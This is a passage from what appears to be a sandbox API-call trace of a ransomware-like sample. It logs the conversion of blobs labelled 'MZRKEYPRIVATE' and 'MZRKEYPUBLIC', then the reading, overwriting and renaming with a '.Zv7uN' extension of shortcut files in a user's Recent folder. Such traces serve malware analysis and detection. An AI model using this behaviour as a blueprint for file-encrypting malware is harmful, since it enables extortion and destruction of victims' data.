6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0081.906] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0081.907] GetCurrentThreadId () returned 0xa30 [0081.907] GetCurrentThreadId () returned 0xa30 [0081.907] GetCurrentThreadId () returned 0xa30 [0081.908] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0081.908] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0081.909] GetCurrentThreadId () returned 0xa30 [0081.909] GetCurrentThreadId () returned 0xa30 [0081.909] GetCurrentThreadId () returned 0xa30 [0081.909] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\KdBdOCDBxl.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\kdbdocdbxl.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0081.909] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0081.909] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0081.909] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0xa1b [0081.909] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0081.909] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0xa1b, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0xa1b, lpOverlapped=0x0) returned 1 [0081.911] CloseHandle (hObject=0x124) returned 1 [0081.911] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\KdBdOCDBxl.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\kdbdocdbxl.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0081.913] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0xa1b, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0xa1b, lpOverlapped=0x0) returned 1 [0081.914] CloseHandle (hObject=0x124) returned 1 [0081.915] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\KdBdOCDBxl.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\kdbdocdbxl.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\KdBdOCDBxl.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\kdbdocdbxl.lnk.zv7un")) returned 1 [0081.922] GetCurrentThreadId () returned 0xa30 [0081.922] GetCurrentThreadId () returned 0xa30 [0081.922] GetCurrentThreadId () returned 0xa30 [0081.922] GetCurrentThreadId () returned 0xa30 [0081.922] GetCurrentThreadId () returned 0xa30 [0081.922] GetCurrentThreadId () returned 0xa30 [0081.922] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe275c0c0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2dc1be0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe2dc1be0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xe60, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="Kg8xgQynXm64WDLJJ.lnk", cAlternateFileName="KG8XGQ~1.LNK")) returned 1 [0081.922] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0081.922] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0081.922] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Kg8xgQynXm64WDLJJ.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\kg8xgqynxm64wdljj.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe275c0c0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2dc1be0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe2dc1be0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xe60)) returned 1 [0081.922] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Kg8xgQynXm64WDLJJ.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\kg8xgqynxm64wdljj.lnk")) returned 0x20 [0081.922] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Kg8xgQynXm64WDLJJ.lnk", dwFileAttributes=0x80) returned 1 [0081.925] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0081.925] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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